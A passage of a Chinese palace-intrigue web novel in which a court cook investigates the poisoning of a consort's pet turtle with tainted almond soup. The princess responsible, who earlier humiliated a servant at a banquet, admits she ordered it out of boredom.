“主子失仪,惊扰贵人,这是泼天的大祸。为人奴仆者……”祝华的声音陡然转冷,带着不容置疑的强制,“为人奴仆者,代主受过,天经地义。”
祝华语气轻飘,好似只是闲谈般,朝着年轻小厮勾手:“你,过来。”
“替你主子,舔、干、净。”
闻言,小厮的脸惨白如纸。
他没见过这种场面,猛地一个哆嗦,巨大的恐惧一拥而上,撕裂了他的心智。
他全身发颤,喉咙里泄出呜咽,鼻涕失控地喷涌而出。
像一具被操纵的提线木偶,他手脚并用,爬向那只沾着酒渍的鞋。
爬行的过程无比漫长,混杂着腥气的甜酒味冲得小厮胃里翻江倒海。
他闭上眼,似乎想隔绝这地狱般的景象,却更加清晰地感受到背上那道灼热的目光。
浑身剧颤着,抖得几乎无法支撑身体,他绝望地、无比缓慢地,伸出了舌尖。
湿濡、带着微温气息的舌尖,颤栗着触碰到了祝华鞋尖那颗冰冷光滑、象征着无上尊贵的珍珠。
“嗤……”极轻微的一声,舌尖迅速收回,又带着粘稠的拉丝痕迹,重新伸出。
“继续。”祝华道。
小厮整个人蜷缩起来,头埋在地上,像一只被驱赶的牲畜,肩膀剧烈地抽搐着,舔舐着,不断用舌尖去擦拭那点小小的、几乎难以察觉的酒渍。
“为公主做事,是小人的无上荣幸。”反复间,小厮谄笑。
又是漫长的几息。
没有人制止。
良久。
祝华似是觉得无趣,连着打了好些个哈欠。
她摆摆手,收回了脚,瞧见鞋面上留有的口水印渍,又缩了缩瞳,一脚将那双不菲的珍珠宝鞋踹下。
“干得不错。”
“赏你了。”祝华提身,那只光洁的脚面踏在小厮的背。
她又环视一周,目光在脸色苍白的程玊芝、紧抿嘴唇的祝明煜、以及竭力降低存在感的知微身上一一掠过,最终定格在祝隶稷脸上,留下一个意味深长、满含讥讽的冷笑。
“母后,儿臣先告辞了。”祝华自顾自转身,昂首,像一团燃烧的、不祥的火焰,径直离开了这令人窒息的宴厅。
丝竹管弦重又响彻宫宇,美婢歌舞不断,一切重归盛大。
沈丹曦仍旧在上首继续笑着。
宾客彼此应和,仿佛刚才只是吹过了一阵风,程玊芝抱着哭到力竭而睡着的祝晟先行离去,背影孱弱。
殿外的夜风吹来,带着凉意,知微却感觉不到一丝暖意,指尖依然冰冷。
方才祝华离去前,那冰冷的视线好似有意无意扫过了自己,带来种被毒蛇锁定的黏腻与恐惧,知微心有余悸,总觉得鼻尖有股若有似无的血腥味。
是自己的错觉吗。
27. 约定
“祝明煜,你给我把东西放下,那是上好的瓷器,很贵的,要是摔了个角,我拿你是问!”
“脸都给你打歪。”知微叉腰,手中无一物,冲着肩膀上垒了好些个木箱的祝明煜无情怒吼。
宫廷的修缮不日将完工,登基的日期渐近,知微也正式领了尚食局女官的职衔,从程玊芝的别院搬入了宫中专为她辟出的住所——位于内苑边缘一处僻静小院。
说来,知微本该同其他尚食局的女官吃住同行。
但祝明煜觉得尚食局的位置太居中,人员混杂,尤其是男性仆役,祝明煜提前考察过,知微常待的前线御膳房,清一色的全是粗汉。
一想到若是知微日夜都要浸在这些人的体味,祝明煜整个人都要跳脚。
于是,求父母,走后门,祝明煜顺利要到这间僻静但典雅的小院——静芳苑。
院子被闲置了有段时间,墙上爬满了苔藓山虎,后院还有块菜地,和岭南小院的布局十分相似。
知微乍一入院,便挪不开眼来。
搬家的活计,几乎被祝明煜一人包揽。
他不仅亲自上阵,还指挥着几个信得过的亲兵,将知微在祝府别院生活期间收集到的各类调味香料、食谱笔记以及新添置的不少个人衣物,小心翼翼地运往静芳苑,安置得井井有条。
“此处背阴,我给你把茶具放在靠窗这边的架子上,你喝茶取用方便。”
祝明煜一边调整位置一边絮叨:“这袋子里的茴香味儿太冲了,我给你放最下面那层抽屉……咦,这是蜀郡来的豆瓣酱,先前你在市集也买过一罐,是同一罐吗。”
祝明煜自言自语唠叨着,知微倚在窗边,看着他一副认真持家的模样,心头微暖。
祝明煜仍在拾掇,知微早上起得早,午后有些犯困,祝明煜便让她先回厢房小憩一会儿。
——
午后,知微睡得很夯足,祝明煜掀开门帘而入,怀里宝贝似的抱着一个沉甸甸的陶土花盆。
“知微,给你!”他把花盆往她面前的案几上一放,发出沉闷的声响。
“生辰快乐!”祝明煜笑容灿烂。
是了,知微都险些要忘却了,初夏时分是她的生辰,打今儿起,这具身体便满十七岁了。
知微被这阵仗吓了一跳,定睛看去。
盆里栽着一株其貌不扬的植物。
灰绿色的叶片硬挺而厚实,枝干虬结如枯藤,半点花朵的影子也无。
与其说是观赏植物,不如说像一堆顽固的杂草。
“这是什么?”知微拿手指戳了戳那坚硬的叶片,“大哥,旁人送姑娘家生辰礼,再不济也是胭脂水粉,金银玉器。您倒好,呃,送我一盆……”
仙人掌的近亲?
知微挑眉,带着戏谑的笑意看向他。
祝明煜脸红到了耳根,急急分辩:“这可是金贵玩意儿!西域小国的稀罕物,叫什么‘月候兰’。”
“花匠说了,精心伺候着,得足足养上三年!三年之后……”祝明煜的声音忽然低了下去,带着一种小心翼翼的、近乎虔诚的试探,“三年后,便能开出大朵大朵的白花,花瓣又厚又光洁,月光底下像会发光一样。”
祝明煜抬起眼,目光灼灼地看向知微:“你不是说、想慢慢来吗?我,我应你。好好相处。”
他喉结滚动了一下,眼神认真得像在陈述军令,“我记得你之前说过,你老家在一个很远很远的地方,嫁娶新妇的时候,手里要捧着一束花才吉利。”
祝明煜指了指那盆丑陋倔强的植物:“等它开了,我们、我们就捧着它,用它的花成婚,好不好?”
用它的花成婚。
知微的心,像被一只无形的手轻轻攥住,而后又被小心翼翼地捧在了温热的掌心。
她的想法,被祝明煜以最笨拙、最直接,却又最戳心窝子的方式回应了。
如同磐石,没有其他花哨的言辞,却沉甸甸,让她安心。
知微眼底的笑意一点点晕开,她走上前,仔细将盆栽挪到窗下阳光最充足的地方。
她指尖拂过坚韧的叶片,声音轻软了许多:“呆子!哪家新娘子捧着土陶盆去成亲的?盆底漏水怎么办?”
知微回头,却见祝明煜瞬间沮丧起来的表情,她又笑着补了一句:“不过这礼,我收了。谢谢你这憨货的心意。”
“你喜欢便好,”祝明煜立刻又高兴起来,咧嘴直乐,“对了,得知你生日,兄长也有些表示,他的礼物,应该待会儿便到了。”
祝隶稷,礼物?他能安什么好心,不会是送了些点单菜谱来吧?
知微回想起在祝府住的那段时日,二人私底下是没见过面,但知微总会从程玊芝处收到些“讨教”,不外乎食材的处理与膳食营养如何去平衡。
有一日,实在是讨教得太久,知微忍不住问了缘由,程玊芝这才坦言,是祝隶稷嘴挑,她想多寻些法子,让他吃得顺心。
有妻如此,夫复何求啊。
知微被程玊芝打动,带她亲手做过几回菜送过去,本只是想做个示范教学,哪知祝隶稷动了歪心思,竟三番两次嘱人送来菜单,找她点菜。
该死啊,该死,怎么总在给他打白工!
知微一口气咽不下,丝毫没注意小院又来了一人。那是约莫十七八岁的宫女,眉眼清秀,穿着素衣青裙,腰间束带,显得干净利落。
她不疾不徐地走进小院,对着咬牙愤恨的知微盈盈一拜,声音清晰平稳:“奴婢奉太子殿下之命,前来侍奉。”
女子言简意赅,姿态不卑不亢。
知微尚未开口,一旁正帮她搭晾晒架子的祝明煜直起腰,向知微解释:“兄长的礼物,他说你在宫里行走,身边得有个伶俐人使唤。”
“她从小学过规矩的,何事都可以同她咨询。”祝明煜看着宫女,“以后就跟着晏尚食,好生伺候。”
“是,奴婢明白。”宫女再次行礼,随即自然地接过知微手中的扫帚,又手脚飞快地将小院里略显散乱的几样物事一一归整。
“阿姐,她手脚可真利索。”少昭不知从哪偷懒回来,瞧见宫女的动
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作,眼底泛光。
知微看着少昭,又看看那姑娘,瞬间懂了祝隶稷的意思。
“殿下倒是送了个好帮手。”知微看着被迅速收拾得窗明几净的小院,由衷感叹,“从今以后,你便唤作少央吧。”
这名字沉稳大气,和宫女很是契合。
“谢主子。”少昭道。
知微点头示意,转过身,看到还在跟晾晒架子较劲的祝明煜,坏心思来了。
她叫停他的动作,笑着揶揄:“瞧瞧,这才是真正的礼物送到了人心坎上。成熟稳妥,办事得体,眼力劲儿十足。
“和某人那盆三年才开花、还不知道能不能养活的草相比,真是高下立判啊。”知微故意摇头,叹息般道,“也不知道何时某人才能像这般可靠啊。”
“少央,你说对不对啊。”
被架起来的少央垂眸,眼观鼻,鼻观心,笑了笑,恍若未闻。
倒是祝明煜把一根木条插偏了,晾晒架子塌了小半:“我、我送的也是独一无二的心意!再说,我兄长是怎样的人……”
祝明煜顿了顿,闷闷嘟囔道:“我就这样,想退货,也来不及了!”
知微被他这憨直的宣告噎了一下,她笑着起身,不再逗他:“谁说要退货了?行了行了,心意珍贵,我自会好好养着那盆草。”
“话说你去不去校场了?再磨蹭误了时辰,当心别人抱怨。”知微又道。
祝明煜还是不肯动身,像只被雨浇透的小狗,眼巴巴地盯着知微。
没办法。
知微又唤少昭为祝明煜端了些亲手做的点心,哄上好几句,祝明煜这才收拾好工具,一步三回头地走了。
——
送走祝明煜,知微再一次得闲,打量着这方小小天地,她沿着宫墙,绕着静芳苑里外转悠熟悉。
这小院位置委实偏僻,临近宫苑边缘的夹道。
当她转到后院堆放杂物的角落时,意外发现一扇几乎被藤蔓完全遮掩的、不起眼的旧式木制小角门。
门闩松垮地搭着,显然平日无人看管,也少有人迹。
好奇心驱使,知微推开了那扇吱呀作响的旧门。
门后并非她想象中的荒芜,而是有一个荒废了许久,却仍保留着几分精致的小花园。
曲径幽深,有一条小路辟于其间。知微转眼,合上小门,一个人沿着小路探寻。
绕过一丛异常茂盛的翠竹林后,她的眼前豁然开朗。
竹林掩映的背后,竟藏着一处小巧的临水轩榭。
轩榭被收拾得很干净,地上铺设着洗得发白的旧竹席。此刻,席上正斜倚着一个小憩的身影。
樱草色的宽大纱袍随意裹在身上,乌黑的长发松松挽着,女人赤着双脚,露出圆润可爱的脚趾,正对着碧色的池水发呆。
一只墨玉般的乌龟,在她身侧的席子上慢悠悠地爬行着,伸着脖子,晒那透过竹叶缝隙的午后暖阳。
那女子打了个哈欠,和知微对上眼来。知微略怔,眼前人竟是多日不见的万侧妃——万珍儿。
28. 寿龟之死(一)
知微脚步一顿,下意识地想悄悄退回去。
“喂!躲哪去啊,人头都露出来了。”
“还是说害羞了,没见过美人晒太阳啊?”万珍儿声音懒洋洋的,带着点刚睡醒的沙哑鼻音。
她伸出一根白得晃眼的纤细食指,带着点戏谑地戳了戳乌龟光溜溜的背壳:“小阿寿,有呆头鹅闯进咱们的地盘啦。”
知微见行踪暴露,只得缓步上前,躬身行礼。
“见过侧妃娘娘。扰了娘娘清静,实在无意。奴婢是从静芳苑后角门过来,未曾想……”
“知道啦,知道啦。”万珍儿打断知微,转过头,那张明媚娇艳的脸上只有一副吃饱喝足后的慵懒。
她摆摆手,道:“这鬼地方,也就剩‘清净’这点见不得人的好处了。”
万珍儿指了指池塘对岸,有隐约可见的正在修建的高大建筑轮廓。
“喏,那边,是你太子爷的‘新东宫’。”
“前朝太子兵败,退守东宫,见形势难逆,干脆放了把火共沉沦。”
“你不知道,宫宇一个个烧得像块大木炭,现今仍在敲敲打打,修个没完,吵得本妃脑袋疼,我才不要住在那儿。”
万珍儿眼神毫无顾忌,流露出强烈的嫌弃。
知微面露讶异:“不是说,京都里的重建已经全部结束。圣上正是因此才得空,举办了登基大典。”
知微记得祝明煜为此事前后奔波好些月,最终事成,也是长吁一口气。
即便是无意遗漏了地方,也不该遗忘祝隶稷的东宫啊。
更何况,纵然东宫尚未修缮完,也可以先住回祝府,否则修缮时的响动可不小,知微记得,程玊芝同祝晟可是伴着祝隶稷一同入主的。
“这不简单,还不是有人连修缮的时间都等不及了,恨不得早日入主,保一切尘埃落定。”万珍儿看出知微眼中的困惑,“也是可怜太子妃与小太孙,偏要跟着去,生活质量都下降了。”
“好在我聪明,见东宫没有多余别院,自请搬到对岸来,虽说偏远了些,但环境好,也见不着那黑脸怪。”
换了从前,知微定是要猛然点头,大赞万珍儿的用词,然而此刻她却秀眉微蹙,重复道:“尘埃落定?”
祝隶稷的太子身份早早便通过圣旨确立了,哪来的再落定。
万珍儿瞧见知微神色,一副了然于胸的样子:“外头的人,看他要风得风,可实际上呢,包括圣上,有几个全然偏爱、信任于他。”
“待他犯了大错,说不准有多少人踩,兴许,便轮到你来当这太子妃了。”
知微同祝明煜之事早不是秘密,万珍儿虽是大门不出,倒也长了耳朵,知晓眼前人,大抵便是未来祝明煜的王妃。
可王妃怎又成了太子妃。这般话,可不是现任太子侧妃该讲出的。
知微背冒冷汗,心道万珍儿属实大胆。
万珍儿却似同她心有灵犀般,挑眉:“我可不稀罕这侧妃之位。”
“是他当年攀附万家求娶了我,可他才不在乎我,打我进门便没来过几次,他在乎的只是万家在朝廷有些势力,能替他说得上话。”
“不过这也合我心意,祝隶稷离我越远越好,眼不见心不烦!他整天阴森得很,压得整个府都透不过气,谁愿意伺候。还是这儿自在,方圆十里都见不着几个喘气的活人。”
万珍儿重又坐下,随手拾起几个小石子,打水漂玩。
那水漂打得可真是好,连着飘了七八个,没有经验是完全打不出的。
知微瞥过万珍儿的手心,上边有着和身份不符的好些个小茧。
知微的眼睛闪了闪。
万珍儿这种明目张胆、堪称大逆不道的论调,倒是阴差阳错地戳中了知微内心。
她也是被无形的力量“推”进来,被动卷入这权力漩涡的人。
二人虽然一个是被迫,一个是主动选择边缘化,但对“清净”和“自由”的向往,何其相似!
这意外的一致,让知微心里那点因身份带来的隔阂,悄然消融了许多。
“娘娘说的是,深宫扰攘,难得清净。”知微笑着,顺着万珍儿的话,目光落在那只同样闲适的墨玉龟上,“这只乌龟叫阿寿?看着颇有灵性,是个有福的。”
提到阿寿,万珍儿那双杏眼立刻亮了几个度。
她伸手,从旁边矮几上一个描金绘彩的精致小碟里拈起一块晶莹剔透的芙蓉糕,掰下一小块,递到阿寿嘴边:“那是,阿寿可是我的小宝贝。”
“很重要的人送的?”
“嗯!很重要的人。”
万珍儿语气宠溺,比聊到祝隶稷时轻快很多,她看着阿寿啄食着点心碎屑,自己也有一搭没一搭地,跟知微闲聊起来。
她的话题天马行空:装头疼躲宴席被眼尖的程玊芝识破、死心眼的侍女似玉管她严得像教习嬷嬷……连一碗小厨房少放了些冰糖的燕窝羹都要絮叨半天。
万珍儿轻抚着阿寿的龟壳絮叨着。
她只关心当下的安逸,言语间偶有透出的大智若愚般的通透,令知微由于误闯而紧绷的神经彻底松弛下来。
两人身份虽天差地别,但在这宁静的、不被人打扰的偏院里,竟像一对偶然相遇的旧友,气氛意外地闲适、融洽。
知微也简单说了些自己整理古籍食谱的心得,万珍儿听得饶有兴趣,不时发出咯咯的笑声。
夕阳偏斜,残红欲坠,不知觉中时候不早了。
再不回去少昭与少央怕是要心慌,知微不便久留,向万珍儿告别。
离开前,万珍儿叫住知微:“今后不必唤我侧妃,私底下唤我珍儿便好。”
知微笑着答应,她知道,两人算是交上朋友了。
可这短暂的安宁,像脆弱的琉璃盏,轻轻一碰便碎了。
——
几日后,一个闷热压抑的午后。空气粘稠得如同凝固的油脂,一丝风也没有。
知微坐在静芳苑的院子里,面前摊开着那本好不容易从旧库里翻出来的《岭南食珍录》残卷,正对照着推敲一味“香辣蟹”的古老酱料配方。
阳光透过窗棂,在书页上投下晃动的光斑。
后门突然动了。
“
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啊——娘娘!娘娘您快看!阿寿!阿寿它……它怎么了?!”
窗外突然传来似玉惊骇到变调的尖叫声,有动静窸窣传来。
知微心头剧跳,手里的古卷落到地上。
她豁然起身,推开椅子疾步冲向后门。
“走快些,咱们去寻御医,阿寿挺住!”
万珍儿不再是那个慵懒随意的美人,她步履匆匆,面上很是焦急。
阿寿被她抱在怀里,此刻正口吐白沫,细小的爪子在空中胡乱而无力地划动。
“阿寿!阿寿你看看我!你别吓我!呜呜呜……阿寿!”巨大的恐惧让万珍儿语无伦次,抱着乌龟的双手用力到指节发白,“似玉,快!再走快些!”
知微见状,赶忙叫熟悉皇宫的少央出来,领着万珍儿前去太医署。
似玉在一旁急得团团转,知微安抚住六神无主的她,试图问清缘由。
“是御膳房送来了杏仁甜羹,侧妃住得远,御膳房每日都会派专人来送餐食。”
“侧妃有时候自己不吃,便喂给了阿寿,可、没过多久,阿寿它……它就这副模样了!”
“杏仁羹?”知微的心脏猛地一沉。
“可还有残羹,我想探看一番。”
“有、有的……”似玉答道,可余下的话尚未说尽,万珍儿怀里的阿寿猛地一阵,发出更剧烈的抽搐。
阿寿细长的脖子不自然地向上伸着,一声极其微弱、如同叹息般的“嗬”后,彻底没了动静。
“阿寿!”一声惊呼后,万珍儿几乎脱力,骤然坠地。似玉连忙上前搀扶,这才接住了万珍儿。
知微凝眉,小心翼翼地从万珍儿僵硬冰冷的怀里接过阿寿。
她凑近阿寿微张的嘴边仔细嗅闻,一股淡淡的杏仁甜香混合着另一种……极其微弱的、难以言喻的苦涩气味钻入鼻腔。
这症状……绝非寻常!
知微猛地抬头,叫上少昭与少央,三人伴着似玉,一同将失神的万珍儿送回轩榭。
到了轩榭,入目一片狼藉,竹席被撇开,靠枕掉在地上,桌几上还有被打翻的杏仁羹留下的水渍。
知微眼底余光扫过轩榭各处。
突然,一点极其微弱的、近乎无法察觉的反光,在昏暗的光线下倏地闪过。
那光点极小,似乎卡在灌木缝隙里。
知微的心漏了一拍。
她不动声色地将渐渐冰冷的阿寿交还给万珍儿怀中,又从自己袖袋里抽出一方素帕,弯腰探入那片灌木。
指尖一探一捻。
她掌心的素帕里,多了一个冰冷坚硬、棱角分明的小东西。
知微屏住呼吸,注视着帕中物——
那是一枚小小的、赤金莲纹耳饰。
造型精巧华贵,却绝不似万珍儿素日会喜好的饰物。
万珍儿还在恸哭,她浑身剧震,低头看着怀中毫无生气的爱宠,时间仿佛在她身上凝固。
知微攥紧手心那枚冰冷的金饰,不自觉心生出某种猜想,觉得有股冰冷的寒意,正顺着那小小的金饰,迅速蔓延至四肢百骸。
29. 寿龟之死(二)
知微没有将拾到耳饰之事告诉旁人。
待到万珍儿稍微缓过来后,她留少央在旁帮扶,自己叫上少昭,亲自去了趟御膳房。
宫道上,少昭注意到知微神色凝重,问:“阿姐,你可是有了一定猜测?”
“难不成又是下毒,是有人想杀了侧妃?”
少昭跟随知微时日不短,自是知晓知微探案上颇有一番能力。
只是此次知微也不敢断定,摇了摇头:“不像是下毒。”
知微用银针验过那碗杏仁羹,无毒。
且杏仁羹是御膳房每天都会往万珍儿处送的羹汤,万珍儿吃了有些时日,阿寿也不是第一回尝食,先前都没事,这才放松了戒备。
要说疑点,除却因条件有限,可能查不出所用毒外,倒是还有一个值得注目的地方。
知微抽了抽鼻,又想起之前在阿寿口中闻到的那点苦味,心里隐隐有了揣测。
到了御膳房门口,知微停下脚步。
说来惭愧,知微入宫当尚食也有小半旬,可都是学规矩流程居多,对于这御膳房也不甚熟络。
她出示自己的腰牌,没说什么事,只唤了个管事的宫女带自己进去。
一进去,知微傻了眼。
御膳房很大,厨子以男性居多,几乎要负责宫内所有贵人多饮食。
眼下,所有人正井然有序,各自准备着晚膳的食材。
“每一项膳食都是有专人负责的吗?”知微也没见过这么大的阵仗。
宫女领着知微穿过灶台:“是的,御膳房分工精细,毕竟是为各个主子服务,怠慢不得。”
知微被带到专供各宫汤羹的灶台旁,灶台上蛊很多,羊肉汤咕嘟翻滚,蒸腾的浓白水汽裹着膻味,混在油烟和汗气里,闷得人发晕。
只见一个小太监跪在正中间,才十五六岁,身子抖得像筛子,两只手绞在一处。
见了小太监,管事宫女蹙起了眉:“都什么时辰了,还跪着,不怕耽误了贵人的吃食。”
“是,是师傅叫我跪下的,我、我犯了错,要、要听话。”小太监磕绊回道。
“那也不能影响贵人的汤羹啊!”管事宫女瞥了知微一眼,知微嘴角下压,面色发沉,想来是这小子扰了大人的心情。
管事宫女“啧”了一声:“什么眼色,还不快站起来做工。”她提脚,直接从侧面踹过去,狠狠踢了他一下。
“起开啊。”
“是、是……”
知微瞧见小太监脸色惨白,汗珠滚进他因恐惧而睁大的眼睛里,火辣辣的,疼也不敢擦。
她不由得想起前世,初入厨房帮工的第一天她便摔了碗,后怕到抬不起头,好在师傅脾气好,反过来安慰失魂的她。
知微摆手,扶起小太监,安慰道:“别怕,只是问你些事。”
“这汤羹的煲煮可都是由你负责?平日做些什么工作?”
“大部分是小的负责,小的人笨,也就只能将食材处理一下,做点看火候的死活。”
知微点头:“那甜羹呢,这种羹汤可同肉羹不同,放在一起熬煮,不怕串了味?”
“自然怕,所以我都会在前一天夜里提前备好甜羹的材料,第二天肉羹食材未到便开始制作,之后将做好的甜羹放到冰窖保存,后期再去其他灶台加热。”
小太监总算恢复了精神,有条不紊地解释。
知微继续探问。
“如此说来,什么南瓜羹、杏仁羹都是这般?”
“正是如此,小的会打的不多,也就只能勤奋些,想想别的法子保障羹食味道。”
“比如说?”知微挑眉,缓缓引导小太监。
“杏仁羹加多糖易过甜,加少了又无味,你是如何处理的?”
“小的有个极好的法子。”小太监眼睛发闪,“用松木炭慢烤杏仁半炷香,如此,杏仁经烘烤后油脂释放更充分,口感更酥脆,本身清甜也出来了,有种天然香甜。”
“便像这般。”
太监起身,寻了个簸箕装了些新烘烤的杏仁,知微伸手,从簸箕里挑起几粒烤得焦黄的杏仁,指甲一掐,露出微黄的内瓤。
知微将烤杏仁丢进嘴里,舌尖碾过,果真有杏仁的清甜混着炭火气弥漫开。
“味道不错。”知微拍手,眼光却往下觑,盯着灶台底下的炭火,“从何时起,你改用的橡木碳。”
“大概是半月以前,我发现橡木煮羹汤升温更快,效率更高,这样便有利于缩短做羹时间……”
“都是些小聪明法子,上不得台面的。”
小太监似是第一次受到知微这般直白的赞扬,嘴角咧得很上,连手发颤的程度都减轻不少。
他重跪下身,朝着知微磕头,道:“总之,多谢尚宫的称赞!”
“不必言谢。”
知微笑了笑,像是看到从前做出些成就便心跳不止的自己。
这小太监倒是个喜欢钻研的人。
只可惜。
知微的目光冷下。
只可惜,他处事不足,竟悄无声息地制了份慢性毒药。
——
临水轩榭内。
“你是说,是御膳房新换的炭火猛了半寸,时间多燎了几息,导致烤杏仁过焦,其苦素生了燥毒。”
“这毒素对人体微不足道,但日积月累下来,却足以夺取我阿寿的命?”万珍儿躺在榻上,紧握知微的手。
“怎么会有这等事,御膳房那些人,他们是吃白饭的吗。犯事人在哪,我要他们陪葬!”万珍儿杏眼红肿,恨道。
知微躲闪过万珍儿的眼神。
万珍儿想来不知,那些她眼中的犯事人,他们吃不起白饭,吃的是残羹粗食。
知微默默回握住万珍儿的手。
“这也是一个意外,犯事的太监已被我下令打了二十大板,去了半条命。现在,他已是皮开肉绽,怕是好些时日不得下榻。”她劝道。
万珍儿不接她话。
“不得下榻又如何,他死了才好!一个太监,不过命如蝼蚁,死了就像水消失在水中……再说了,他只是暂时受伤……”
“可我的阿寿去了整整一条命!”万
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珍儿的声音陡然拔尖,言语带着些难以置信的怨恨,“阿寿的性名,难道比不得这些腌臜贱奴?”
知微指尖一凉。
她眨了眨眼,原本攥在手上、预备为万珍儿拭去眼泪的帕子滑落。
万珍儿瞧见知微眼底的惶恐,立马捂住了嘴。
“我,我不是这个意思……”
万珍儿的头埋到被里:“阿寿是我、是我自幼的玩伴送我的,我打小没什么朋友,只有它是我的依托,它陪着我出嫁,跟着我长大,我对它感情之深,你懂得我的感受吗?”
万珍儿捂紧心脏:“它是我的家人啊。”
“抱歉,是我失语了……”万珍儿后面的话碎成听不清的哽咽。她未梳好的几缕发丝粘在泪水斑驳的脸颊上,像只颓唐的垂耳兔。
知微不忍见万珍儿沮丧,将她拥入怀:“过去了,都过去了,今天的苦,便忘了吧。”
苦。苦?
万珍儿咂了咂嘴,舔过自己的唇,像是想起什么似的,她从知微的怀中挣脱。
“是了。下午、下午的杏仁羹,它比平常熬的更苦,我以为是火大了些,没在意,却仍是哄着阿寿吃了几口……”
“原来,阿寿早就意识到了危险,是我不懂,是我这个做主人的愚蠢!”
万珍儿压抑着呜咽,她张了张嘴,嗓子里火烧火燎般的疼,只能更用力地握住知微的手,寻找一份倚靠。
知微贴在她身上的手止住了。
“是什么苦。”知微正色问。
“今天下午的苦,和之前有什么不同。”
“试着回想一下,全面的!”
万珍儿眼露茫然,但还是试图努力回想:“之前的苦,是轻微的,只在舌尖,隐隐伴有焦香。而今天的苦,更像是,像是……”
万珍儿话哽在喉间,愣是说不出个所以然。似玉悄悄推了门,端来一碗药膳,闻着熟悉的味道,万珍儿茅塞顿开。
“是了,是药!今天的羹汤,是苦药味!”
有丝线自知微的脑海漫出,一根根延伸开,它们排列成束,串联起一切线索。
苦杏仁!
今天的羹汤里的毒,兴许不是碳焦而成的,而是苦杏仁本身具有的毒素。
呼吸困难、四肢抽搐、头部震颤……
对上了!全是该有的反应。
苦杏仁服下后生成的毒无色无味,在这个时代几乎很难检验。
要达到成年人的致死量,一碗汤羹是显然不够,可阿寿作为乌龟,代谢慢、体型小,中毒阈值远低于人类。
更何况,阿寿的体内本含有其余毒素。
如此这般,阿寿,是被人存心谋害?
可谁有闲心谋害一只宠物龟呢?
万珍儿的仇人,可,万珍儿隐居度日,又能结下几个仇家呢?
电光火石间,知微脑中闪过那串金色的赤金莲纹耳饰。
难不成……
“阿姐,阿姐!”少昭喘着粗气,闯入轩榭。
“有人寻你。”
“长公主,要传唤你!”
30. 寿龟之死(三)
碧空如洗,云絮疏淡。
柳枝垂影旁,有银色的蛛网悬丝其上。
阳光正正和煦的一天,适合出游,却不适合登门拜访一个疯子。
知微立在长公主住所前,僵得像块冰。
昨日少昭的话犹在耳畔。
长公主找自己做甚?
二人应该没有过交流啊,难不成长公主要考察她,可为何是现在?
还专挑祝明煜不在宫中的时候。
是觉得自己配不上祝明煜,想暗中先敲打一番吗?
那,总不能让自己也跪下来舔鞋吧。
小厮痛苦而谄媚的面容重又浮现在知微脑海。
回想起祝华当日在宴席所为,知微腿脚发软,她只得拼命摇头,好将不合时宜的念头摁回去。
总之,祝华的言行不能用一般逻辑解释。
就像明明圣上专为她在外辟了新府,她却偏要住在皇城,同祝明煜喜欢贴着父母所以住在宫中不同,知微总觉得,长公主还藏着一些别的心思。
知微稳了稳呼吸,决心不再多想。
她敛手,指尖还抓着那枚从灌木丛暗处抠出的赤金莲纹耳坠,知微将它塞进袖袋最深处,金饰边缘锐利,擦过皮肤,留下微痛。
“少昭,少央,且在外头等我。”知微深呼吸,道。
——
踏进祝华那奢华的寝殿时,浓烈的熏香扑面而来。
祝华歪坐在大殿正中那张铺满雪白狐裘的榻上,指尖绕着几缕乌发,似笑非笑。
“晏尚食。”祝华声音懒洋洋的,像刚舔完爪子的猫,“听闻你最近的生活还挺热闹,不知道是做什么啊,如此风生水起,连御膳房的灶膛灰都快翻遍了。”她眼风扫过知微,散漫地打了个哈欠。
昨儿发生的事,祝华今天便知道了?
知微不敢细想,她垂着眼,视线落在自己的官靴尖上。
“回殿下,是暂住在皇宫的太子侧妃万氏,她的宠物龟误食了御膳房送去的杏仁羹而暴毙,食膳乃尚食局职责所在,此事是我们的失职,不敢不尽心调查。”
“结果呢?”祝华提手,轻拂过新染的指甲。
知微上前一步:“系御膳房的差错,烤杏仁时火候失当,不慎生燥毒,毒素积少成多,酿成大祸。结果一出,御膳房当值内侍当场便领了罚。”
知微的话像磨圆的石头,不带棱角。
祝华却满脸恹恹:“就查出这么点儿东西?是全部了吗?”
“还是说。”祝华拖长了调子,尾音轻飘飘上扬,“你当本宫的情报网,是拿来做摆设的?”
“昨儿个夜晚,你又去了趟御膳房,寻当值内侍聊了些什么,需要本宫再同你复述吗。”
祝华语气间的耐心已然逝去,知微赶忙跪下,咬牙,将自己的猜测一五一十告知。
“所以,是有人在烤好的杏仁里加入了微量苦杏仁,那乌龟吃了,便毒发身亡了?”
“正是。”知微俯身,回复。
祝华还是一副提不起兴趣的样子。
她支起身,宽大的朱红袍袖滑落,露出一截赛雪的小臂:“本宫还以为,你能给本宫个更有趣的说法呢。比方说……”她指尖点了点自己的耳垂,笑意更深,“比方说,那些不该出现在腌臜角落里的……漂亮玩意儿?
袖袋里的金耳坠瞬间变得滚烫,几乎要烙穿布料。
知微喉咙发紧,后背瞬间沁出一层薄汗,她强行压下狂跳的心,舌尖尝到一丝铁锈味,原是自己咬破了内唇。
“殿下恕罪,小人愚钝,未、未曾发现旁的不妥之处。”知微听见自己干涩的声音。
殿内陡然静下来,只有香炉里名贵沉香的青烟,无声缭绕。
“呵……”一声轻笑打破沉寂,祝华忽然拍了下榻沿,笑得前仰后合,眼角都沁出泪花。
“没劲,真真儿是没劲透了!晏知微,你对着我二弟那棺材脸时,也是这般锯了嘴的葫芦?”
祝华笑得喘不过气,像看一出滑稽的戏,半晌才勉强止住,用手背抹去眼角的湿意。
“行啦。”她摆摆手,像拂去一片灰尘,“不逗你了。那毒羹,是本宫叫人下的。”
“你手上捡到的耳饰,也是我贴身侍女特意留下的。”祝华语速轻快,如同分享一件趣闻。
知微猛地抬头,撞进祝华那双笑意盈盈的眸子,寒意瞬间从脚底窜上头顶。
“为、为何?为何要无故杀死阿寿。”字句艰难地挤出知微的喉咙,“殿下的毒,害不死人啊。”
只为了一只宠物,大费周章打探侧妃的生活习惯,祝华,到底在想些什么啊!
“为何?”祝华挑眉,蔑视着,红唇弯起,“不为何,这世上的事情,从来是鲜少道理的。”
“就像是那日宴席,小厮舌尖舔过我的鞋时,有人会问‘为何’吗?”
“真要找个理由,嗯,我想想……”祝华蹙起眉头,“其实我同万珍儿也不熟呐,要硬是说一个……对了,无聊,就是无聊!”祝华歪着头,露出笑来。
“是了,本宫闲得发慌,想看看你这岭南来的小厨娘,是真有两把刷子,还是全靠运气爬上来。”
祝华打量着知微煞白的脸,像是欣赏一件新得的玩意儿:“至于万珍儿那傻丫头,她总是抱着只乌龟当命根子,为这事哭起来,想来倒也别致。”
祝华拖长声音,目光在知微脸上逡巡:“别说这些小事了。”
